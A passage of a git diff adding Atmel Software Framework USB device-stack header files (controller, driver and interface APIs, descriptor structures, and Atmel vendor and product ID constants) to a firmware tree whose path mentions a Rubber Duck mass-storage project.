udc_include_vbus_monitoring(void) +{ + return udd_include_vbus_monitoring(); +} + +/*! \brief Start the USB Device stack + */ +void udc_start(void); + +/*! \brief Stop the USB Device stack + */ +void udc_stop(void); + +/** + * \brief Attach device to the bus when possible + * + * \warning If a VBus control is included in driver, + * then it will attach device when an acceptable Vbus + * level from the host is detected. + */ +static inline void udc_attach(void) +{ + udd_attach(); +} + + +/** + * \brief Detaches the device from the bus + * + * The driver must remove pull-up on USB line D- or D+. + */ +static inline void udc_detach(void) +{ + udd_detach(); +} + + +/*! \brief The USB driver sends a resume signal called \e "Upstream Resume" + */ +static inline void udc_wakeup(void) +{ + udd_send_wake_up(); +} + + +/** + * \brief Returns a pointer on the current interface descriptor + * + * \return pointer on the current interface descriptor. + */ +usb_iface_desc_t UDC_DESC_STORAGE *udc_get_interface_desc(void); + +//@} + +/** + * \ingroup usb_group + * \defgroup usb_device_group USB Stack Devices + * + * This module includes USB Stack Device implementation. + * The stack is divided in three parts: + * - USB Device Controller (UDC) provides USB chapter 9 compliance + * - USB Device Interface (UDI) provides USB Class compliance + * - USB Device Driver (UDD) provides USB Driver for each AVR product + + * Many USB Device applications can be implemented on Atmel MCU. + * Atmel provides many application notes for different applications: + * - AVR4900, provides general information about Device Stack + * - AVR4901, explains how to create a new class + * - AVR4902, explains how to create a composite device + * - AVR49xx, all device classes provided in ASF have an application note + * + * A basic USB knowledge is required to understand the USB Device + * Class application notes (HID,MS,CDC,PHDC,...). + * Then, to create an USB device with + * only one class provided by ASF, refer directly to the application note + * corresponding to this USB class. The USB Device application note for + * New Class and Composite is dedicated to advanced USB users. + * + * @{ + */ + +//! @} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udc_desc.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udc_desc.h new file mode 100755 index 0000000..2cdbe55 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udc_desc.h @@ -0,0 +1,128 @@ +/** + * \file + * + * \brief Common API for USB Device Interface + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _UDC_DESC_H_ +#define _UDC_DESC_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udi.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udc_group + * \defgroup udc_desc_group USB Device Descriptor + * + * @{ + */ + +/** + * \brief Defines the memory's location of USB descriptors + * + * By default the Descriptor is stored in RAM + * (UDC_DESC_STORAGE is defined empty). + * + * If you have need to free RAM space, + * it is possible to put descriptor in flash in following case: + * - USB driver authorize flash transfer (USBB on UC3 and USB on Mega) + * - USB Device is not high speed (UDC no need to change USB descriptors) + * + * For UC3 application used "const". + * + * For Mega application used "code". + */ +#define UDC_DESC_STORAGE + // Descriptor storage in internal RAM +#if (defined UDC_DATA_USE_HRAM_SUPPORT) +# if defined(__GNUC__) +# define UDC_DATA(x) COMPILER_WORD_ALIGNED __attribute__((__section__(".data_hram0"))) +# define UDC_BSS(x) COMPILER_ALIGNED(x) __attribute__((__section__(".bss_hram0"))) +# elif defined(__ICCAVR32__) +# define UDC_DATA(x) COMPILER_ALIGNED(x) __data32 +# define UDC_BSS(x) COMPILER_ALIGNED(x) __data32 +# endif +#else +# define UDC_DATA(x) COMPILER_ALIGNED(x) +# define UDC_BSS(x) COMPILER_ALIGNED(x) +#endif + + + +/** + * \brief Configuration descriptor and UDI link for one USB speed + */ +typedef struct { + //! USB configuration descriptor + usb_conf_desc_t UDC_DESC_STORAGE *desc; + //! Array of UDI API pointer + udi_api_t UDC_DESC_STORAGE *UDC_DESC_STORAGE * udi_apis; +} udc_config_speed_t; + + +/** + * \brief All information about the USB Device + */ +typedef struct { + //! USB device descriptor for low or full speed + usb_dev_desc_t UDC_DESC_STORAGE *confdev_lsfs; + //! USB configuration descriptor and UDI API pointers for low or full speed + udc_config_speed_t UDC_DESC_STORAGE *conf_lsfs; +#ifdef USB_DEVICE_HS_SUPPORT + //! USB device descriptor for high speed + usb_dev_desc_t UDC_DESC_STORAGE *confdev_hs; + //! USB device qualifier, only use in high speed mode + usb_dev_qual_desc_t UDC_DESC_STORAGE *qualifier; + //! USB configuration descriptor and UDI API pointers for high speed + udc_config_speed_t UDC_DESC_STORAGE *conf_hs; +#endif +} udc_config_t; + +//! Global variables of USB Device Descriptor and UDI links +extern UDC_DESC_STORAGE udc_config_t udc_config; + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_DESC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udd.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udd.h new file mode 100755 index 0000000..e5ef108 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udd.h @@ -0,0 +1,389 @@ +/** + * \file + * + * \brief Common API for USB Device Drivers (UDD) + * + * Copyright (c) 2009 - 2012 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _UDD_H_ +#define _UDD_H_ + +#include "usb_protocol.h" +#include "udc_desc.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udd_group USB Device Driver (UDD) + * + * The UDD driver provides a low-level abstraction of the device + * controller hardware. Most events coming from the hardware such as + * interrupts, which may cause the UDD to call into the UDC and UDI. + * + * @{ + */ + +//! \brief Endpoint identifier +typedef uint8_t udd_ep_id_t; + +//! \brief Endpoint transfer status +//! Returned in parameters of callback register via udd_ep_run routine. +typedef enum { + UDD_EP_TRANSFER_OK = 0, + UDD_EP_TRANSFER_ABORT = 1, +} udd_ep_status_t; + +/** + * \brief Global variable to give and record information of the setup request management + * + * This global variable allows to decode and response a setup request. + * It can be updated by udc_process_setup() from UDC or *setup() from UDIs. + */ +typedef struct { + //! Data received in USB SETUP packet + //! Note: The swap of "req.wValues" from uin16_t to le16_t is done by UDD. + usb_setup_req_t req; + + //! Point to buffer to send or fill with data following SETUP packet + uint8_t *payload; + + //! Size of buffer to send or fill, and content the number of byte transfered + uint16_t payload_size; + + //! Callback called after reception of ZLP from setup request + void (*callback) (void); + + //! Callback called when the buffer given (.payload) is full or empty. + //! This one return false to abort data transfer, or true with a new buffer in .payload. + bool(*over_under_run) (void); +} udd_ctrl_request_t; +extern udd_ctrl_request_t udd_g_ctrlreq; + +//! Return true if the setup request \a udd_g_ctrlreq indicates IN data transfer +#define Udd_setup_is_in() \ + (USB_REQ_DIR_IN == (udd_g_ctrlreq.req.bmRequestType & USB_REQ_DIR_MASK)) + +//! Return true if the setup request \a udd_g_ctrlreq indicates OUT data transfer +#define Udd_setup_is_out() \ + (USB_REQ_DIR_OUT == (udd_g_ctrlreq.req.bmRequestType & USB_REQ_DIR_MASK)) + +//! Return the type of the SETUP request \a udd_g_ctrlreq. \see usb_reqtype. +#define Udd_setup_type() \ + (udd_g_ctrlreq.req.bmRequestType & USB_REQ_TYPE_MASK) + +//! Return the recipient of the SETUP request \a udd_g_ctrlreq. \see usb_recipient +#define Udd_setup_recipient() \ + (udd_g_ctrlreq.req.bmRequestType & USB_REQ_RECIP_MASK) + +/** + * \brief End of halt callback function type. + * Registered by routine udd_ep_wait_stall_clear() + * Callback called when endpoint stall is cleared. + */ +typedef void (*udd_callback_halt_cleared_t) (void); + +/** + * \brief End of transfer callback function type. + * Registered by routine udd_ep_run() + * Callback called by USB interrupt after data transfer or abort (reset,...). + * + * \param status UDD_EP_TRANSFER_OK, if transfer is complete + * \param status UDD_EP_TRANSFER_ABORT, if transfer is aborted + * \param n number of data transfered + */ +typedef void (*udd_callback_trans_t) (udd_ep_status_t status, + iram_size_t nb_transfered); + +/** + * \brief Authorizes the VBUS event + * + * \return true, if the VBUS monitoring is possible. + */ +bool udd_include_vbus_monitoring(void); + +/** + * \brief Enables the USB Device mode + */ +void udd_enable(void); + +/** + * \brief Disables the USB Device mode + */ +void udd_disable(void); + +/** + * \brief Attach device to the bus when possible + * + * \warning If a VBus control is included in driver, + * then it will attach device when an acceptable Vbus + * level from the host is detected. + */ +void udd_attach(void); + +/** + * \brief Detaches the device from the bus + * + * The driver must remove pull-up on USB line D- or D+. + */ +void udd_detach(void); + +/** + * \brief Test whether the USB Device Controller is running at high + * speed or not. + * + * \return \c true if the Device is running at high speed mode, otherwise \c false. + */ +bool udd_is_high_speed(void); + +/** + * \brief Changes the USB address of device + * + * \param address New USB address + */ +void udd_set_address(uint8_t address); + +/** + * \brief Returns the USB address of device + * + * \return USB address + */ +uint8_t udd_getaddress(void); + +/** + * \brief Returns the current start of frame number + * + * \return current start of frame number. + */ +uint16_t udd_get_frame_number(void); + +/** + * \brief Returns the current micro start of frame number + * + * \return current micro start of frame number required in high speed mode. + */ +uint16_t udd_get_micro_frame_number(void); + +/*! \brief The USB driver sends a resume signal called Upstream Resume + */ +void udd_send_wake_up(void); + +/** + * \brief Load setup payload + * + * \param payload Pointer on payload + * \param payload_size Size of payload + */ +void udd_set_setup_payload( uint8_t *payload, uint16_t payload_size ); + + +/** + * \name Endpoint Management + * + * The following functions allow drivers to create and remove + * endpoints, as well as set, clear and query their "halted" and + * "wedged" states. + */ +//@{ + +#if (USB_DEVICE_MAX_EP != 0) + +/** + * \brief Configures and enables an endpoint + * + * \param ep Endpoint number including direction (USB_EP_DIR_IN/USB_EP_DIR_OUT). + * \param bmAttributes Attributes of endpoint declared in the descriptor. + * \param MaxEndpointSize Endpoint maximum size + * + * \return \c 1 if the endpoint is enabled, otherwise \c 0. + */ +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize); + +/** + * \brief Disables an endpoint + * + * \param ep Endpoint number including direction (USB_EP_DIR_IN/USB_EP_DIR_OUT). + */ +void udd_ep_free(udd_ep_id_t ep); + +/** + * \brief Check if the endpoint \a ep is halted. + * + * \param ep The ID of the endpoint to check. + * + * \return \c 1 if \a ep is halted, otherwise \c 0. + */ +bool udd_ep_is_halted(udd_ep_id_t ep); + +/** + * \brief Set the halted state of the endpoint \a ep + * + * After calling this function, any transaction on \a ep will result + * in a STALL handshake being sent. Any pending transactions will be + * performed first, however. + * + * \param ep The ID of the endpoint to be halted + * + * \return \c 1 if \a ep is halted, otherwise \c 0. + */ +bool udd_ep_set_halt(udd_ep_id_t ep); + +/** + * \brief Clear the halted state of the endpoint \a ep + * + * After calling this function, any transaction on \a ep will + * be handled normally, i.e. a STALL handshake will not be sent, and + * the data toggle sequence will start at DATA0. + * + * \param ep The ID of the endpoint to be un-halted + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udd_ep_clear_halt(udd_ep_id_t ep); + +/** + * \brief Registers a callback to call when endpoint halt is cleared + * + * \param ep The ID of the endpoint to use + * \param callback NULL or function to call when endpoint halt is cleared + * + * \warning if the endpoint is not halted then the \a callback is called immediately. + * + * \return \c 1 if the register is accepted, otherwise \c 0. + */ +bool udd_ep_wait_stall_clear(udd_ep_id_t ep, + udd_callback_halt_cleared_t callback); + +/** + * \brief Allows to receive or send data on an endpoint + * + * The driver uses a specific DMA USB to transfer data + * from internal RAM to endpoint, if this one is available. + * When the transfer is finished or aborted (stall, reset, ...), the \a callback is called. + * The \a callback returns the transfer status and eventually the number of byte transfered. + * Note: The control endpoint is not authorized. + * + * \param ep The ID of the endpoint to use + * \param b_shortpacket Enabled automatic short packet + * \param buf Buffer on Internal RAM to send or fill. + * It must be align, then use COMPILER_WORD_ALIGNED. + * \param buf_size Buffer size to send or fill + * \param callback NULL or function to call at the end of transfer + * + * \warning About \a b_shortpacket, for IN endpoint it means that a short packet + * (or a Zero Length Packet) will be sent to the USB line to properly close the usb + * transfer at the end of the data transfer. + * For Bulk and Interrupt OUT endpoint, it will automatically stop the transfer + * at the end of the data transfer (received short packet). + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback); +/** + * \brief Aborts transfer on going on endpoint + * + * If a transfer is on going, then it is stopped and + * the callback registered is called to signal the end of transfer. + * Note: The control endpoint is not authorized. + * + * \param ep Endpoint to abort + */ +void udd_ep_abort(udd_ep_id_t ep); + +#endif + +//@} + + +/** + * \name High speed test mode management + * + * The following functions allow the device to jump to a specific test mode required in high speed mode. + */ +//@{ +void udd_test_mode_j(void); +void udd_test_mode_k(void); +void udd_test_mode_se0_nak(void); +void udd_test_mode_packet(void); +//@} + + +/** + * \name UDC callbacks to provide for UDD + * + * The following callbacks are used by UDD. + */ +//@{ + +/** + * \brief Decodes and manages a setup request + * + * The driver call it when a SETUP packet is received. + * The \c udd_g_ctrlreq contains the data of SETUP packet. + * If this callback accepts the setup request then it must + * return \c 1 and eventually update \c udd_g_ctrlreq to send or receive data. + * + * \return \c 1 if the request is accepted, otherwise \c 0. + */ +extern bool udc_process_setup(void); + +/** + * \brief Reset the UDC + * + * The UDC must reset all configuration. + */ +extern void udc_reset(void); + +/** + * \brief To signal that a SOF is occured + * + * The UDC must send the signal to all UDIs enabled + */ +extern void udc_sof_notify(void); + +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udi.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udi.h new file mode 100755 index 0000000..a109a3e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udi.h @@ -0,0 +1,127 @@ +/** + * \file + * + * \brief Common API for USB Device Interface + * + * Copyright (c) 2009 - 2012 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _UDI_H_ +#define _UDI_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udi_group USB Device Interface (UDI) + * The UDI provides a common API for all classes, + * and this is used by UDC for the main control of USB Device interface. + * @{ + */ + +/** + * \brief UDI API. + * + * The callbacks within this structure are called only by + * USB Device Controller (UDC) + * + * The udc_get_interface_desc() can be use by UDI to know the interface descriptor + * selected by UDC. + */ +typedef struct { + /** + * \brief Enable the interface. + * + * This function is called when the host selects a configuration + * to which this interface belongs through a Set Configuration + * request, and when the host selects an alternate setting of + * this interface through a Set Interface request. + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ + bool(*enable) (void); + + /** + * \brief Disable the interface. + * + * This function is called when this interface is currently + * active, and + * - the host selects any configuration through a Set + * Configuration request, or + * - the host issues a USB reset, or + * - the device is detached from the host (i.e. Vbus is no + * longer present) + */ + void (*disable) (void); + + /** + * \brief Handle a control request directed at an interface. + * + * This function is called when this interface is currently + * active and the host sends a SETUP request + * with this interface as the recipient. + * + * Use udd_g_ctrlreq to decode and response to SETUP request. + * + * \return \c 1 if this interface supports the SETUP request, otherwise \c 0. + */ + bool(*setup) (void); + + /** + * \brief Returns the current setting of the selected interface. + * + * This function is called when UDC when know alternate setting of selected interface. + * + * \return alternate setting of selected interface + */ + uint8_t(*getsetting) (void); + + /** + * \brief To signal that a SOF is occured + */ + void(*sof_notify) (void); +} udi_api_t; + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/usb_atmel.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/usb_atmel.h new file mode 100755 index 0000000..604bcf4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/usb_atmel.h @@ -0,0 +1,175 @@ +/** + * \file + * + * \brief All USB VIDs and PIDs from Atmel AVR applications + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _USB_ATMEL_H_ +#define _USB_ATMEL_H_ + +/** + * \defgroup usb_group USB Stack + * + * This stack includes the USB Device Stack, USB Host Stack and common + * definitions. + * @{ + */ + +//! @} + +/** + * \ingroup usb_group + * \defgroup usb_atmel_ids_group Atmel USB Identifiers + * + * This module defines Atmel PID and VIDs constants. + * + * @{ + */ + +//! \name Vendor Identifier assigned by USB org to ATMEL +#define USB_VID_ATMEL 0x03EB + + +//! \name Product Identifier assigned by ATMEL to AVR applications +//! @{ + +//! \name The range from 2000h to 20FFh is reserved to the old PID for C51, MEGA, and others. +//! @{ +#define USB_PID_ATMEL_MEGA_HIDGENERIC 0x2013 +#define USB_PID_ATMEL_MEGA_HIDKEYBOARD 0x2017 +#define USB_PID_ATMEL_MEGA_CDC 0x2018 +#define USB_PID_ATMEL_MEGA_AUDIO_IN 0x2019 +#define USB_PID_ATMEL_MEGA_MS 0x201A +#define USB_PID_ATMEL_MEGA_AUDIO_IN_OUT 0x201B +#define USB_PID_ATMEL_MEGA_HIDMOUSE 0x201C +#define USB_PID_ATMEL_MEGA_HIDMOUSE_CERTIF_U4 0x201D +#define USB_PID_ATMEL_MEGA_CDC_MULTI 0x201E +#define USB_PID_ATMEL_MEGA_MS_HIDMS_HID_USBKEY 0x2022 +#define USB_PID_ATMEL_MEGA_MS_HIDMS_HID_STK525 0x2023 +#define USB_PID_ATMEL_MEGA_MS_2 0x2029 +#define USB_PID_ATMEL_MEGA_MS_HIDMS 0x202A +#define USB_PID_ATMEL_MEGA_MS_3 0x2032 +#define USB_PID_ATMEL_MEGA_LIBUSB 0x2050 +//! @} + +//! \name The range 2100h to 21FFh is reserved to PIDs for AVR Tools. +//! @{ +#define USB_PID_ATMEL_XPLAINED 0x2122 +//! @} + +//! \name The range 2300h to 23FFh is reserved to PIDs for demo from ASF1.7=> +//! @{ +#define USB_PID_ATMEL_UC3_ENUM 0x2300 +#define USB_PID_ATMEL_UC3_MS 0x2301 +#define USB_PID_ATMEL_UC3_MS_SDRAM_LOADER 0x2302 +#define USB_PID_ATMEL_UC3_EVK1100_CTRLPANEL 0x2303 +#define USB_PID_ATMEL_UC3_HID 0x2304 +#define USB_PID_ATMEL_UC3_EVK1101_CTRLPANEL_HID 0x2305 +#define USB_PID_ATMEL_UC3_EVK1101_CTRLPANEL_HID_MS 0x2306 +#define USB_PID_ATMEL_UC3_CDC 0x2307 +#define USB_PID_ATMEL_UC3_AUDIO_MICRO 0x2308 +#define USB_PID_ATMEL_UC3_CDC_DEBUG 0x2310 // Virtual Com (debug interface) on EVK11xx +#define USB_PID_ATMEL_UC3_AUDIO_SPEAKER_MICRO 0x2311 +#define USB_PID_ATMEL_UC3_CDC_MSC 0x2312 +//! @} + +//! \name The range 2400h to 24FFh is reserved to PIDs for ASF applications +//! @{ +#define USB_PID_ATMEL_AVR_HIDMOUSE 0x2400 +#define USB_PID_ATMEL_AVR_HIDKEYBOARD 0x2401 +#define USB_PID_ATMEL_AVR_HIDGENERIC 0x2402 +#define USB_PID_ATMEL_AVR_MSC 0x2403 +#define USB_PID_ATMEL_AVR_CDC 0x2404 +#define USB_PID_ATMEL_AVR_PHDC 0x2405 +#define USB_PID_ATMEL_AVR_MSC_HIDMOUSE 0x2420 +#define USB_PID_ATMEL_AVR_MSC_HIDS_CDC 0x2421 +#define USB_PID_ATMEL_AVR_MSC_HIDKEYBOARD 0x2422 +#define USB_PID_ATMEL_ASF_VENDOR_CLASS 0x2423 +#define USB_PID_ATMEL_AVR_MSC_CDC 0x2424 +#define USB_PID_ATMEL_AVR_TWO_CDC 0x2425 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_POWERONLY 0x2430 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_TERMINAL 0x2431 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_TOUCH 0x2432 +#define USB_PID_ATMEL_AVR_AUDIO_SPEAKER 0x2433 +#define USB_PID_ATMEL_AVR_XMEGA_B1_XPLAINED 0x2434 +//! @} + +//! \name The range 2F00h to 2FFFh is reserved to official PIDs for AVR bootloaders +//! Note, !!!! don't use this range for demos or examples !!!! +//! @{ +#define USB_PID_ATMEL_DFU_ATUCL3_L4 0x2FDC +#define USB_PID_ATMEL_DFU_ATXMEGA64A4U 0x2FDD +#define USB_PID_ATMEL_DFU_ATXMEGA128A4U 0x2FDE + +#define USB_PID_ATMEL_DFU_ATXMEGA64B3 0x2FDF +#define USB_PID_ATMEL_DFU_ATXMEGA128B3 0x2FE0 +#define USB_PID_ATMEL_DFU_ATXMEGA64B1 0x2FE1 +#define USB_PID_ATMEL_DFU_ATXMEGA256A3BU 0x2FE2 +#define USB_PID_ATMEL_DFU_ATXMEGA16A4U 0x2FE3 +#define USB_PID_ATMEL_DFU_ATXMEGA32A4U 0x2FE4 +#define USB_PID_ATMEL_DFU_ATXMEGA64A3U 0x2FE5 +#define USB_PID_ATMEL_DFU_ATXMEGA128A3U 0x2FE6 +#define USB_PID_ATMEL_DFU_ATXMEGA192A3U 0x2FE7 +#define USB_PID_ATMEL_DFU_ATXMEGA64A1U 0x2FE8 +#define USB_PID_ATMEL_DFU_ATUC3D 0x2FE9 +#define USB_PID_ATMEL_DFU_ATXMEGA128B1 0x2FEA +#define USB_PID_ATMEL_DFU_AT32UC3C 0x2FEB +#define USB_PID_ATMEL_DFU_ATXMEGA256A3U 0x2FEC +#define USB_PID_ATMEL_DFU_ATXMEGA128A1U 0x2FED +#define USB_PID_ATMEL_DFU_ATMEGA8U2 0x2FEE +#define USB_PID_ATMEL_DFU_ATMEGA16U2 0x2FEF +#define USB_PID_ATMEL_DFU_ATMEGA32U2 0x2FF0 +#define USB_PID_ATMEL_DFU_AT32UC3A3 0x2FF1 +#define USB_PID_ATMEL_DFU_ATMEGA32U6 0x2FF2 +#define USB_PID_ATMEL_DFU_ATMEGA16U4 0x2FF3 +#define USB_PID_ATMEL_DFU_ATMEGA32U4 0x2FF4 +#define USB_PID_ATMEL_DFU_AT32AP7200 0x2FF5 +#define USB_PID_ATMEL_DFU_AT32UC3B 0x2FF6 +#define USB_PID_ATMEL_DFU_AT90USB82 0x2FF7 +#define USB_PID_ATMEL_DFU_AT32UC3A 0x2FF8 +#define USB_PID_ATMEL_DFU_AT90USB64 0x2FF9 +#define USB_PID_ATMEL_DFU_AT90USB162 0x2FFA +#define USB_PID_ATMEL_DFU_AT90USB128 0x2FFB +// 2FFCh to 2FFFh used by C51 family products +//! @} + +//! @} + +//! @} + + +#endif // _USB_ATMEL_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/usb_protocol.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/usb_protocol.h new file mode 100755 index 0000000..238bf47 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/usb_protocol.h @@ -0,0 +1,407 @@ +/** + * \file + * + * \brief USB protocol definitions. + * + * This file contains the USB definitions and data structures provided by the + * USB 2.0 specification. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * 